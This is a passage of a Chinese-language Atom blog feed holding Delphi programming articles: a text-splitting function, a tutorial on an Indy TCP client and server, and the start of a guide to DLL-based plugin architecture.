	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-10-20T22:00:10+08:00</updated>
	  <published>2005-10-20T22:00:10+08:00</published>
		  <summary type="html"><![CDATA[function SplitEx(const Str {需要拆分的文章}, Delimiters {拆分关键字,回车.?!等}: string): TStringList;<BR>　　var<BR>　　ss: WideString;<BR>　　i, St: integer;<BR>　　function IsDelimiter(const Delimiters, c: string): Boolean;<BR>　　begin //判断是否为拆分关键字<BR>　　result := StrScan(PChar(Delimiters), c[1]) &lt;&gt; nil;<BR>　　end;<BR>　　begin<BR>　　Result := TStringList.Create;<BR>　　with Result do<BR>　　begin<BR>　　Clear; Sorted := True; Duplicates := dupIgnore;<BR>　　end;<BR>　　if Length(Str) &lt; 1 then exit;<BR>　　ss := Str; //双字符支持，纯英文可以去掉<BR>　　St := -1;<BR>　　for i := 1 to Length(ss) do<BR>　　if IsDelimiter(Delimiters, ss[i]) then<BR>　　if St &lt;&gt; -1 then<BR>　　begin<BR>　　Result.Add(Trim(Copy(ss, St, i - St)));<BR>　　St := -1;<BR>　　end<BR>　　else<BR>　　if St = -1 then St := i;<BR>　　if St &lt;&gt; -1 then Result.Add(Copy(ss, St, Length(Str)));<BR>　　end;]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=88" /> 
	  <id>http://www.openx.cn/default.asp?id=88</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[用Indy组件开发Socket应用程序]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-10-20T21:52:15+08:00</updated>
	  <published>2005-10-20T21:52:15+08:00</published>
		  <summary type="html"><![CDATA[<P>　　笔者在前一段的工作中，需要开发一套简单的网络数据传输程序。由于平时常用Delphi做点开发，故此次也不例外。Delphi 7中带有两套TCP Socket组件：Indy Socket组件（IdTCPClient和IdTCPServer）和Delphi原生的TCP Socket组件（ClientSocket和ServerSocket）。但是，Borland已宣称ClientSocket和ServerSocket组件即将被废弃，建议用相应的Indy组件来代替。因此，笔者使用了Indy。本文在对Indy进行简要介绍的基础上，创建了一组简单的TCP Socket数据传输应用来演示了Indy的使用方法。<BR>　　开放源代码的Internet组件集——Internet Direct（Indy）Internet Direct（Indy）是一组开放源代码的Internet组件，涵盖了几乎所有流行的Internet协议。Indy用Delphi编写，被包含在Delphi 6，Kylix 1和<A href="http://dev.21tx.com/language/bcb/" target=_blank><FONT color=#3366cc>C++ Builder</FONT></A> 6及以上各个版本的Borland开发环境中。Indy曾经叫做WinShoesㄋ赜赪inSock——Windows的Socket库），是由Chad Z. Hower领导的一群开发者构建的，可以从Indy的站点www.nevrona.com/indy上找到更多的信息并下载其新版本。到笔者撰写本文时为止，Indy的最新稳定版是9.0.14，Indy 10也进入了Beta测试阶段。<BR><BR>　　Delphi 7中所带的是Indy 9。在其的组件面板上，一共安装有100多个Indy组件。使用这些组件你可以开发基于各种协议的TCP客户和<A href="http://www.21tx.com/server/" target=_blank><FONT color=#3366cc>服务器</FONT></A>应用程序，并处理相关的编码和安全问题。你可以通过前缀Id来识别Indy组件。<BR><BR>　　<STRONG>Indy是阻塞式（Blocking）的<BR></STRONG><BR>　　当你使用Winsock开发网络应用程序时，从Socket中读取数据或者向Socket写入数据都是异步发生的，这样就不会阻断程序中其它代码的执行。在收到数据时，Winsock会向应用程序发送相应的消息。这种访问方式被称作非阻塞式连接，它要求你对事件作出响应，设置状态机，并通常还需要一个等待循环。<BR><BR>　　与通常的Winsock编程方法不同的是，Indy使用了阻塞式Socket调用方式。阻塞式访问更像是文件存取。当你读取数据，或是写入数据时，读取和写入函数将一直等到相应的操作完成后才返回。比如说，发起网络连接只需调用Connect方法并等待它返回，如果该方法执行成功，在结束时就直接返回，如果未能成功执行，则会抛出相应的异常。同文件访问不同的是，Socket调用可能会需要更长的时间，因为要读写的数据可能不会立即就能准备好（在很大程度上依赖于网络带宽）。<BR><BR>　　<STRONG>阻塞式Socket并非恶魔（Evil</STRONG>）<BR><BR>　　长期以来，阻塞式Socket都遭到了毫无理由的攻击。其实阻塞式Socket并非如通常所说的那样可怕。这还要从Winsock的发展说起。<BR><BR>　　当Socket被从Unix移植到Windows时，一个严重的问题立即就出现了。Unix支持fork，客户程序和服务器都能够fork新的进程，并启动这些进程，从而能够很方便地使用阻塞式Socket。而Windows 3.x既不支持fork也不支持多线程，当使用阻塞式Socket时，用户界面就会被“锁住”而无法响应用户输入。<BR><BR>　　为克服Windows 3.x的这一缺陷，微软在Winsock中加入了异步扩展，以使Winsock不会“锁住”应用程序的主线程（也是唯一的线程）。然而，这需要了一种完全不同的编程方式。于是有些人为了掩饰这一弱点，就开始强烈地诽谤阻塞式Socket。<BR><BR>　　当Win32出现的时候，它能够很好地支持线程。但是既成的观念已经很难更改，并且说出去的话也无法收回，因此对阻塞式Socket的诽谤继续存在着。<BR><BR>　　事实上，阻塞式Socket仍然是Unix实现Socket的唯一方式，并且它工作得很好。<BR><BR>　　<STRONG>阻塞式Socket的优点</STRONG><BR><BR>　　归结起来，在Windows上使用阻塞式Socket开发应用程序具有如下优点：<BR><BR>　　编程简单——阻塞式Socket应用程序很容易编写。所有的用户代码都写在同一个地方，并且顺序执行。 <BR>容易向Unix移植——由于Unix也使用阻塞式Socket，编写可移植的代码就变得比较容易。Indy就是利用这一点来实现其多平台支持而又单一源代码的设计。 <BR><BR>　　很好地利用了线程技术——阻塞式Socket是顺序执行的，其固有的封装特性使得它能够很容易地使用到线程中。 <BR><BR>　　<STRONG>阻塞式Socket的缺点</STRONG><BR><BR>　　事物都具有两面性，阻塞式Socket也不例外。它的一个主要的缺点就是使客户程序的用户界面“冻结”。当在程序的主线程中进行阻塞式Socket调用时，由于要等待Socket调用完成并返回，这段时间就不能处理用户界面消息，使得Update、Repaint以及其它消息得不到及时响应，从而导致用户界面被“冻结”。<BR>　　<STRONG>使用TIdAntiFreeze对抗“冻结</STRONG>”<BR><BR>　　Indy使用一个特殊的组件TIdAntiFreeze来透明地解决客户程序用户界面“冻结”的问题。TIdAntiFreeze在Indy内部定时中断对栈的调用，并在中断期间调用Application.ProcessMessages方法处理消息，而外部的Indy调用继续保存阻塞状态，就好像TIdAntiFreeze对象不存在一样。你只要在程序中的任意地方添加一个TIdAntiFreeze对象，就能在客户程序中利用到阻塞式Socket的所有优点而避开它的一些显著缺点。<BR><BR>　　<STRONG>Indy使用了线程技术<BR></STRONG><BR>　　阻塞式Socekt通常都采用线程技术，Indy也是如此。从最底层开始，Indy的设计都是线程化的。因此用Indy创建<A href="http://www.21tx.com/server/" target=_blank><FONT color=#3366cc>服务器</FONT></A>和客户程序跟在Unix下十分相似，并且Delphi的快速开发环境和Indy对WinSock的良好封装使得应用程序创建更加容易。<BR><BR>　　<STRONG>Indy服务器模型<BR></STRONG><BR>　　一个典型的Unix服务器有一个或多个监听进程，它们不停地监听进入的客户连接请求。对于每一个需要服务的客户，都fork一个新进程来处理该客户的所有事务。这样一个进程只处理一个客户连接，编程就变得十分容易。<BR><BR>　　Indy服务器工作原理同Unix服务器十分类似，只是Windows不像Unix那样支持fork，而是支持线程，因此Indy服务器为每一个客户连接分配一个线程。<BR><BR>　　图1显示了Indy服务器的工作原理。Indy服务器组件创建一个同应用程序主线程分离的监听线程来监听客户连接请求，对于接受的每一个客户，都创建一个新的线程来为该客户提供服务，所有与这一客户相关的事务都由该线程来处理。<BR><BR>[img]http://image.21tx.com/image/20040316/10053.gif[/img]</P>
<P>图1 Indy服务器工作原理<BR><BR>　　使用组件TIdThreadMgrPool，Indy还支持线程池。<BR><BR>　　<STRONG>线程与Indy客户程序</STRONG><BR><BR>　　Indy客户端组件并未使用线程。但是在一些高级的客户程序中，程序员可以在自定义的线程中使用Indy客户端组件，以使用户界面更加友好。<BR><BR>　　简单的Indy应用示例<BR><BR>　　下面将创建一个简单的TCP客户程序和一个简单的TCP<A href="http://www.21tx.com/server/" target=_blank><FONT color=#3366cc>服务器</FONT></A>来演示Indy的基本使用方法。客户程序使用TCP协议同服务器连接，并向服务器发送用户所输入数据。服务器支持两条命令：DATA和QUIT。在DATA命令后跟随要发送的数据，并用空格将命令字DATA和数据分隔开。<BR><BR>　　表单布局<BR><BR>　　建立一个项目组，添加一个客户程序项目和一个服务器项目。客户程序和服务器程序的表单布局如同2和图3所示。客户程序表单上放置了TIdTCPClient组件，服务器程序表单上放置了TIdTCPServer组件。为防止客户程序“冻结”，还在其表单上放置TIdAntiFreeze组件。<BR>　　客户程序和服务器程序的表单上都放置有TListBox组件，用来显示通信记录。<BR><BR>　　客户程序代码<BR><BR>　　客户程序片断如代码列表1所示。<BR><BR>　　代码列表1<BR><BR>
<TABLE class=txcode cellSpacing=0 cellPadding=0 align=center border=0>
<TBODY>
<TR>
<TD>procedure TFormMain.BtnConnectClick(Sender: TObject);<BR>begin<BR>IdTCPClient.Host := EdtHost.Text;<BR>IdTCPClient.Port := StrToInt(EdtPort.Text);<BR>LbLog.Items.Add('正在连接 ' + EdtHost.Text + '...');<BR>with IdTCPClient do<BR>begin<BR>try<BR>Connect(5000);<BR>try<BR>LbLog.Items.Add(ReadLn());<BR>BtnConnect.Enabled := False;<BR>BtnSend.Enabled := True;<BR>BtnDisconnect.Enabled := True;<BR>except<BR>LbLog.Items.Add('远程主机无响应！');<BR>IdTCPClient.Disconnect();<BR>end;//end try<BR>except<BR>LbLog.Items.Add('无法建立到' + EdtHost.Text + '的连接！');<BR>end;//end try<BR>end;//end with<BR>end;<BR><BR>procedure TFormMain.BtnSendClick(Sender: TObject);<BR>begin<BR>LbLog.Items.Add('DATA ' + EdtData.Text);<BR>with IdTCPClient do<BR>begin<BR>try<BR>WriteLn('DATA ' + EdtData.Text);<BR>LbLog.Items.Add(ReadLn())<BR>except<BR>LbLog.Items.Add('发送数据失败！');<BR>IdTCPClient.Disconnect();<BR>LbLog.Items.Add('同主机 ' + EdtHost.Text + ' 的连接已断开！');<BR>BtnConnect.Enabled := True;<BR>BtnSend.Enabled := False;<BR>BtnDisconnect.Enabled := False;<BR>end;//end try<BR>end;//end with<BR>end;<BR><BR>procedure TFormMain.BtnDisconnectClick(Sender: TObject);<BR>var<BR>Received: string;<BR>begin<BR>LbLog.Items.Add('QUIT');<BR>try<BR>IdTCPClient.WriteLn('QUIT');<BR>finally<BR>IdTCPClient.Disconnect();<BR>LbLog.Items.Add('同主机 ' + EdtHost.Text + ' 的连接已断开！');<BR>BtnConnect.Enabled := True;<BR>BtnSend.Enabled := False;<BR>BtnDisconnect.Enabled := False;<BR>end;//end try<BR>end;</TD></TR></TBODY></TABLE><BR>　　在“连接”按钮事件响应过程中，首先根据用户输入设置IdTCPClient的主机和端口，并调用IdTCPClient的Connect方法向服务器发出连接请求。然后调用ReadLn方法读取服务器应答数据。<BR><BR>　　在“发送”按钮事件响应过程中，调用WriteLn方法写DATA命令，向服务器发送数据。<BR><BR>　　在“断开”按钮事件响应过程中，向服务器发送QUIT命令，并调用Disconnect方法断开连接。<BR><BR>　　程序中还包含有通信信息记录和异常处理的代码。<BR>　　<A href="http://www.21tx.com/server/" target=_blank><FONT color=#3366cc>服务器</FONT></A>程序代码<BR><BR>　　服务器程序片断如代码列表2所示。<BR><BR>　　代码列表2<BR><BR>
<TABLE class=txcode cellSpacing=0 cellPadding=0 align=center border=0>
<TBODY>
<TR>
<TD>procedure TFormMain.BtnStartClick(Sender: TObject);<BR>begin<BR>IdTCPServer.DefaultPort := StrToInt(EdtPort.Text);<BR>IdTCPServer.Active := True;<BR>BtnStart.Enabled := False;<BR>BtnStop.Enabled := True;<BR>LbLog.Items.Add('服务器已成功启动！');<BR>end;<BR><BR>procedure TFormMain.BtnStopClick(Sender: TObject);<BR>begin<BR>IdTCPServer.Active := False;<BR>BtnStart.Enabled := True;<BR>BtnStop.Enabled := False;<BR>LbLog.Items.Add('服务器已成功停止！');<BR>end;<BR><BR>procedure TFormMain.IdTCPServerConnect(AThread: TIdPeerThread);<BR>begin<BR>LbLog.Items.Add('来自主机 '<BR>+ AThread.Connection.Socket.Binding.PeerIP<BR>+ ' 的连接请求已被接纳！');<BR>AThread.Connection.WriteLn('100: 欢迎连接到简单TCP服务器！');<BR>end;<BR><BR>procedure TFormMain.IdTCPServerExecute(AThread: TIdPeerThread);<BR>var<BR>sCommand: string;<BR>begin<BR>with AThread.Connection do<BR>begin<BR>sCommand := ReadLn();<BR>FLogEntry := sCommand + ' 来自于主机 '<BR>+ AThread.Connection.Socket.Binding.PeerIP;<BR>AThread.Synchronize(AddLogEntry);<BR>if AnsiStartsText('DATA ', sCommand) then<BR>begin<BR>FReceived := RightStr(sCommand, Length(sCommand)-5);<BR>WriteLn('200: 数据接收成功！');<BR>AThread.Synchronize(DisplayData);<BR>end<BR>else if SameText(sCommand, 'QUIT') then begin<BR>FLogEntry := '断开同主机 '<BR>+ AThread.Connection.Socket.Binding.PeerIP<BR>+ ' 的连接！';<BR>AThread.Synchronize(AddLogEntry);<BR>Disconnect;<BR>end<BR>else begin<BR>WriteLn('500: 无法识别的命令！');<BR>FLogEntry := '无法识别命令：' + sCommand;<BR>AThread.Synchronize(AddLogEntry);<BR>end;//endif<BR>end;<BR>end;<BR><BR>procedure TFormMain.DisplayData();<BR>begin<BR>EdtData.Text := FReceived;<BR>end;<BR><BR>procedure TFormMain.AddLogEntry();<BR>begin<BR>LbLog.Items.Add(FLogEntry);<BR>end;<BR></TD></TR></TBODY></TABLE><BR>　　“启动”按钮设置IdTCPServer 的Active属性为True来启动服务器，“停止”按钮设置Active属性为False来关闭服务器。<BR><BR>　　IdTCPServerConnect方法作为IdTCPServer 的OnCorrect事件响应过程，向客户端发送欢迎信息。OnCorrect事件在一个客户连接请求被接受时发生，为该连接创建的线程AThread被作为参数传递给IdTCPServerConnect方法。<BR><BR>　　IdTCPServerExecute方法是IdTCPServer 的OnExecute事件响应过程。OnExecute事件在TIdPeerThread对象试图执行其Run方法时发生。OnExecute事件与通常的事件有所不同，其响应过程是在某个线程上下文中执行的，参数AThread就是调用它的线程。这一点很重要，它意味着可能有多个OnExecute事件响应过程被同时执行。在连接被断开或中断前，OnExecute事件响应过程会被反复执行。<BR><BR>　　在IdTCPServerExecute方法中，首先读入一条指令，然后对指令进行判别。如果是DATA指令，就解出数据并显示它。如果收到的是QUIT指令，则断开连接。需要特别指出的是，由于IdTCPServerExecute方法在某一线程上下文中执行，因此显示数据和添加事件记录都是将相应的方法传递给Synchronize调用来完成的。<BR><BR>　　运行程序<BR><BR>　　运行客户端和服务器程序，按如下流程进行操作：<BR><BR>　　1. 按服务器程序的“启动”按钮启动服务器；<BR><BR>　　2. 按客户程序的“连接”按钮，建立同服务器的连接；<BR><BR>　　3. 在客户程序的待发送数据编辑框中输入“Hello, Indy!”，并按“发送”按钮发送数据；<BR><BR>　　4. 按客户程序的“断开”按钮，断开同服务器的连接；<BR><BR>　　5. 按服务器程序的“停止”按钮停止服务器。<BR></P>
<P>摘:http://dev.21tx.com/2004/03/16/10240.html</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=87" /> 
	  <id>http://www.openx.cn/default.asp?id=87</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[初探Delphi中的插件编程]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-10-20T21:13:54+08:00</updated>
	  <published>2005-10-20T21:13:54+08:00</published>
		  <summary type="html"><![CDATA[<P><STRONG>前言</STRONG> <BR><BR>　　我写Delphi程序是从MIS系统入门的，开始尝试子系统划分的时候采用的是MDI窗体的结构。随着系统功能的扩充，不断有新的子系统加入系统中，单个工程会变得非常大，每次做一点修改都要重新编译，单个工程的形式也不利于团队协作。为了提高工作效率，我希望利用DLL动态链接库的形式实现插件结构的编程。<BR><BR>　　插件结构的编程需要一个插件容器来控制各DLL的运行情况，将划分好的每个子系统安排到一个DLL库文件中。对每个DLL程序需要为容器预留接口函数，一般接口函数包括：启动调用DLL库的函数、关闭DLL库的函数。通过接口函数，插件容器可以向DLL模块传递参数实现动态控制。具体实现细节我将在下文说明并给出响应代码。<BR><BR>　　您可能需要先了解一下DELPHI中UNIT的结构，工程的结构。本文没有深入讨论DLL编程的理论细节，只是演示了一些实用的代码，我当时学习的是刘艺老师的《DELPHI深入编程》一书。<BR><BR>　　我也处于DELPHI的入门阶段，只是觉得这次的DLL开发有一些值得讨论的地方，所以写这篇文章，希望各位能对我做的不好的地方慷慨建议。<BR><BR>　　<B>示例程序简介</B><BR><BR>　　为了便于阅读我将使用一个MIS系统的部分程序代码演示插件编程的一些方法。示例程序是典型的C/S结构DBMS应用程序，我们关注的部分将是框架程序（下文简称Hall）的控制语句和dll插件程序的响应控制。<BR><BR>　　1、程序结构<BR><BR>　　插件容器Hall使用一个独立的工程创建，Hall的主窗口的作用相当于MDI程序中的MDI容器窗体，Hall中将显式调用Dll中的接口函数。<BR>每个插件程序独立使用各自的工程，与普通工程不同的是，DLL工程创建的是Dll Wizard，相应编译生成的文件是以DLL为后缀。<BR>[img]http://image.21tx.com/image/20050711/15986.jpg[/img]</P>
<P>2、接口设计<BR><BR>　　实例程序Narcissus中我们预留两个接口函数：<BR><BR>　　ShowDLLForm<BR><BR>　　该函数将应用程序的句柄传递给DLL子窗口，DLL程序将动态创建DLL窗体的实例。还可以将一些业务逻辑用参数的形式传递给DLL子窗口，比如窗体名称、当前登陆的用户名等。初次调用一个DLL窗体实例时使用此函数创建。<BR><BR>　　FreeDLLForm<BR><BR>　　该函数将显示释放DLL窗口实例，在退出应用程序时调用每个DLL窗体的FreeDLLForm方法来释放创建的实例，不然会引起内存只读错误。同样，也可以将一些在释放窗体时需要做的业务逻辑用参数的形式传递给DLL窗体。<BR><BR>　　3、调试方式<BR><BR>　　DLL窗体程序无法直接执行，需要有一个插件容器来调用。应此我们需要先实现一个基本的Hall程序，然后将Hall.exe保存在一个固定的目录中。对每个DLL工程做如下设置：<BR><BR>　　1) 打开DLL工程<BR><BR>　　2) 选择菜单 Run – Parameters<BR><BR>　　3) 在弹出的窗口中浏览到我们的容器Hall.exe<BR><BR>　　这样在调试DLL程序时将会自动调用Hall程序，利用Hall中预留的调用接口调试DLL程序。<BR>　　<B>插件程序的基本实现</B><BR><BR>　　DLL程序的设计方式和普通WINAPP没有很大的区别，只是所有的窗口都是作为一种特殊的“资源”保存在DLL库中，需要手动调用，而不像WINAPP中会有工程自动创建。声明接口函数的方法很简单<BR><BR>　　1) 在Unit的Implementation部分中声明函数<BR><BR>　　2) 在函数声明语句的尾部加上stdcall标记<BR><BR>　　3) 在工程代码（Project – View Source）的begin语句之前，用exports语句声明函数接口<BR><BR>　　为了使代码简洁，我个人喜欢在工程中独立添加一个Unit单元（File – New -- Unit），然后将所有要输出的函数体定义在此单元中，不要忘记将引用到的窗体的Unit也uses进来。我命名这个单元为UnitEntrance，在ShowDLLForm函数中初始化了要显示的窗口并调用Show方法显示，HALL会将登陆的用户名用参数传递过来，得到用户名后就可以进行一些权限控制，表现在界面初始化上。 <BR><BR>　　其代码如下<BR><BR>
<TABLE class=txcode cellSpacing=0 cellPadding=0 align=center border=0>
<TBODY>
<TR>
<TD>unit UnitOfficeEntrance;<BR><BR>interface<BR>uses<BR>　Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms;<BR>　function ShowDLLForm(AHandle: THandle; ACaption: string; AUserID: string):boolean;stdcall;<BR>　function FreeDLLForm(AHandle: THandle; ACaption: string; AUserID: string):boolean;stdcall;<BR>implementation<BR>　uses UnitOfficialMainForm; // 改成MAINFORM的unit<BR>var<BR>　DLL_Form:TFormOfficialMain; //改成MAINFORM的NAME<BR><BR>　//-----------------------------------------<BR>　//Name: ShowDLLForm<BR>　//Func: DLL插件调用入口函数<BR>　//Para: AHandle 挂靠程序句柄; ACaption 本窗体标题<BR>　//Rtrn: N/A<BR>　//Auth: CST<BR>　//Date: 2005-6-3<BR>　//-----------------------------------------<BR><BR>　function ShowDLLForm(AHandle: THandle; ACaption: string; AUserID: string):boolean;<BR>　begin<BR>　　result:=true;<BR>　try<BR>　　Application.Handle:=AHandle; //挂靠到主程序容器<BR>　　DLL_Form:=TFormOfficialMain.Create(Application); //改成MAINFORM的NAME<BR>　try<BR>　　with DLL_Form do<BR>　　begin<BR>　　　Caption := ACaption;<BR>　　　StatusBar.Panels.Items[0].Text := AUserID;<BR>　　　//Configure UI<BR>　　　Show ;<BR>　　end;<BR>　except<BR>　　on e:exception do<BR>　　begin<BR>　　　dll_form.Free;<BR>　　end;<BR>　end;<BR>　except<BR>　　result:=false;<BR>　　end;<BR>　end;<BR><BR>//-----------------------------------------<BR>//Name: FreeDLLForm<BR>//Func: DLL插件调用出口函数<BR>//Para: AHandle 挂靠程序句柄<BR>//Rtrn: true/false<BR>//Auth: CST<BR>//Date: 2005-6-11<BR>//-----------------------------------------<BR><BR>function FreeDLLForm(AHandle: THandle; ACaption: string; AUserID: string):boolean;<BR>begin<BR>　Application.Handle:=AHandle; //挂靠到主程序容器<BR>　if DLL_Form.Showing then DLL_Form.Close; //如果窗口打开先关闭,触发FORM.CLOSEQUERY可取消关闭过程<BR>　if not DLL_Form.Showing then<BR>　begin<BR>　　DLL_Form.Free;<BR>　　result:=true;<BR>　end //仍然打开状态,说明CLOSEQUERY.CANCLOSE=FALSE<BR>　else<BR>　begin<BR>　　result:=false;<BR>　end;<BR>end;<BR>end.</TD></TR></TBODY></TABLE><BR>　　DLL工程文件代码如下：<BR><BR>
<TABLE class=txcode cellSpacing=0 cellPadding=0 align=center border=0>
<TBODY>
<TR>
<TD>library Official;<BR><BR><BR>{ Important note about DLL memory management: ShareMem must be the<BR><BR>first unit in your library’s USES clause AND your project’s (select<BR><BR>Project-View Source) USES clause if your DLL exports any procedures or<BR><BR>functions that pass strings as parameters or function results. This<BR><BR>applies to all strings passed to and from your DLL--even those that<BR><BR>are nested in records and classes. ShareMem is the interface unit to<BR><BR>the BORLNDMM.DLL shared memory manager, which must be deployed along<BR><BR>with your DLL. To avoid using BORLNDMM.DLL, pass string information<BR><BR>using PChar or ShortString parameters. }<BR><BR><BR>uses<BR><BR>SysUtils,<BR><BR>Classes,<BR><BR>UnitOfficialDetailForm in ’UnitOfficialDetailForm.pas’ {FormOfficialDetail},<BR><BR>UnitOfficialMainForm in ’UnitOfficialMainForm.pas’ {FormOfficialMain},<BR><BR>UnitOfficeEntrance in ’UnitOfficeEntrance.pas’,<BR><BR>UnitOfficialClass in ’..\..\Public\Library\UnitOfficialClass.pas’,<BR><BR>UnitMyDataAdatper in ’..\..\Public\Library\UnitMyDataAdatper.pas’,<BR><BR>UnitMyHeaders in ’..\..\Public\Library\UnitMyHeaders.pas’;<BR><BR><BR>{$R *.res}<BR><BR>exports ShowDLLForm,FreeDLLForm; //接口函数<BR><BR>begin<BR><BR>end.</TD></TR></TBODY></TABLE><BR>　　插件程序一旦调用了DLL窗口，窗口实例将会保持在HALL窗口的上层，因此不用担心遮挡的问题。</P>
<P>　　<B>容器程序的实现</B><BR><BR>　　1、接口函数的引入<BR><BR>　　调用DLL库中的函数有显式和隐式两种方式，显式调用更灵活，因此我们使用显示调用。在Delphi中需要为接口函数申明函数类型，然后实例化函数类型的实例，该实例实际是一个指向函数的指针，通过指针我们可以访问到函数并传递参数、获取返回值。在单元文件的Interface部分加入函数类的申明：<BR><BR>
<TABLE class=txcode cellSpacing=0 cellPadding=0 align=center border=0>
<TBODY>
<TR>
<TD>type<BR><BR>//定义接口函数类型,接口函数来自DLL接口<BR><BR>TShowDLLForm = Function(AHandle:THandle; ACaption: String; AUserID:string):Boolean;stdcall;<BR><BR>TFreeDLLForm = Function(AHandle:THandle; ACaption: String; AUserID:string):boolean;stdcall;</TD></TR></TBODY></TABLE><BR>　　显示调用库函数需要如下几个步骤:<BR><BR>　　1) 载入DLL库文件<BR><BR>　　2) 获得函数地址<BR><BR>　　3) 执行函数<BR><BR>　　4) 释放DLL库<BR><BR>　　接下来我们将详细讨论这几个步骤。<BR><BR>　　2、载入DLL库文件<BR><BR>　　通过调用API函数LoadLibrary可以将DLL库载入到内存中，在此我们不讨论DLL对内存管理的影响。LoadLibrary的参数是DLL文件的地址路径，如果载入成功会返回一个CARDINAL类型的变量作为DLL库的句柄；如果目标文件不存在或其他原因导致载入DLL文件失败会返回一个0。<BR><BR>　　3、实例化接口函数<BR><BR>　　获得接口函数指针的API函数为GetProcAddress(库文件句柄，函数名称)，如果找到函数则会返回该函数的指针，如果失败则返回NIL。<BR>使用上文定义的函数类型定义函数指针变量，然后使用@操作符获得函数地址，这样就可以使用指针变量访问函数。主要代码如下： <BR><BR>
<TABLE class=txcode cellSpacing=0 cellPadding=0 align=center border=0>
<TBODY>
<TR>
<TD>……<BR>var<BR>　ShowDLLForm: TShowDLLForm; //DLL接口函数实例<BR>　FreeDLLForm: TFreeDLLForm;<BR>begin<BR>　try<BR>　begin<BR>　　APlugin.ProcAddr := LoadLibrary(PChar(sPath));<BR>　　APlugin.FuncFreeAddr := GetProcAddress(APlugin.ProcAddr,’FreeDLLForm’);<BR>　　APlugin.FuncAddr := GetProcAddress(APlugin.ProcAddr ,’ShowDLLForm’);<BR><BR>　　@ShowDLLForm:=APlugin.FuncAddr ;<BR>　　@FreeDLLForm:=APlugin.FuncFreeAddr;<BR>　　if ShowDllForm(Self.Handle, APlugin.Caption , APlugin.UserID) then<BR>　　　Result:=True<BR>　　　……</TD></TR></TBODY></TABLE><BR>　　4、一个具体的实现方法<BR><BR>　　为了结构化管理插件，方便今后的系统扩充，我们可以结合数据库记录可用的DLL信息，然后通过查询数据库记录动态访问DLL程序。<BR><BR>　　1) 系统模块表设计<BR><BR>　　对于MIS系统，可以利用已有的DBS条件建立一个系统模块表，记录DLL文件及映射到系统模块中的相关信息<BR><BR>
<TABLE cellSpacing=0 cellPadding=2 width="90%" align=center border=1>
<TBODY>
<TR>
<TD>字段名</TD>
<TD>作用</TD>
<TD>类型</TD></TR>
<TR>
<TD>AutoID</TD>
<TD>索引</TD>
<TD>INT</TD></TR>
<TR>
<TD>modAlias</TD>
<TD>模块别称</TD>
<TD>VARCHAR</TD></TR>
<TR>
<TD>modName</TD>
<TD>模块名称</TD>
<TD>VARCHAR</TD></TR>
<TR>
<TD>modWndClass</TD>
<TD>窗体唯一标识</TD>
<TD>VARCHAR</TD></TR>
<TR>
<TD>modFile</TD>
<TD>DLL路径</TD>
<TD>VARCHAR</TD></TR>
<TR>
<TD>modMemo</TD>
<TD>备注</TD>
<TD>TEXT</TD></TR></TBODY></TABLE><BR>　　·模块别称是用来在编程设计阶段统一命名的规则，特别是团队开发时可以供队员参考。<BR><BR>　　·模块名称将作为ACAPTION参数传递给SHOWDLLFORM函数作为DLL窗口的标题。<BR><BR>　　·窗体唯一标识是DLL子模块中主窗口的CLASSNAME，用来在运行时确定要控制的窗口。<BR><BR>　　·DLL路径保存DLL文件名称，程序中将转换为绝对路径。<BR><BR>　　2) 插件信息数据结构<BR><BR>　　定义一个记录插件相关信息的数据接口可以集中控制DLL插件。在Interface部分加入如下代码：<BR><BR>
<TABLE class=txcode cellSpacing=0 cellPadding=0 align=center border=0>
<TBODY>
<TR>
<TD>type<BR><BR>　//定义插件信息类<BR><BR>　TMyPlugins = class<BR>　Caption:String; //DLL窗体标题<BR>　DllFileName:String; //DLL文件路径<BR>　WndClass:String; //窗体标识<BR>　UserID:string; //用户名<BR>　ProcAddr:THandle; //LOADLIBRARY载入的库句柄<BR>　FuncAddr:Pointer; //SHOWDLLFORM函数指针<BR>　FuncFreeAddr:Pointer; //FREEDLLFORM函数指针<BR>end;<BR><BR>……</TD></TR></TBODY></TABLE><BR>　　为每个插件创建一个TMyPlugins的实例，下文会讨论对这些实例的初始化方法。<BR><BR>　　3) 插件载入函数<BR><BR>　　在本示例中DLL窗口是在HALL中触发打开子窗口的事件中载入并显示的。按钮事件触发后，先根据插件结构体实例判断DLL是否已经加载，如果已经加载，则控制窗口的显示或关闭；如果没有加载则访问数据表将字段赋值到插件结构体中，然后执行载入、获得指针的工作。 <BR><BR>　　局部代码如下<BR><BR>
<TABLE class=txcode cellSpacing=0 cellPadding=0 align=center border=0>
<TBODY>
<TR>
<TD>……<BR>//-----------------------------------------<BR><BR>//Name: OpenPlugin<BR><BR>//Func: 插件信息类控制过程： 初始化＝＝》设置权限＝＝》载入DLL窗口<BR><BR>//Para: APlugin-TMyPlugins; sAlias别名; iFuncValue权限值<BR><BR>//Rtrn: N/A<BR><BR>//Auth: CST<BR><BR>//Date: 2005-6-2<BR><BR>//-----------------------------------------<BR><BR>procedure TFormHall.OpenPlugin(AFromActn: TAction ;APlugin:TMyPlugins; sAlias:string; sUserID:string);<BR>　var hWndPlugin:HWnd;<BR>begin<BR>　 <BR>　//判断插件窗口是否已经载入 hWndPlugin:=FindWindow(PChar(APlugin.WndClass),nil);<BR>　if hWndPlugin &lt;&gt; 0 then //插件窗口已经载入<BR>　begin<BR>　　if not IsWindowVisible(hWndPlugin) then<BR>　　begin<BR>　　　AFromActn.Checked := True;<BR>　　　ShowWindow(hWndPlugin,SW_SHOWDEFAULT); //显示<BR>　　end<BR>　　else<BR>　　begin<BR>　　　AFromActn.checked := False;<BR>　　　ShowWindow(hWndPlugin,SW_HIDE) ;<BR>　　end;<BR>　　Exit; //离开创建插件过程<BR>　end;<BR><BR>//初始化插件类实例<BR><BR>if not 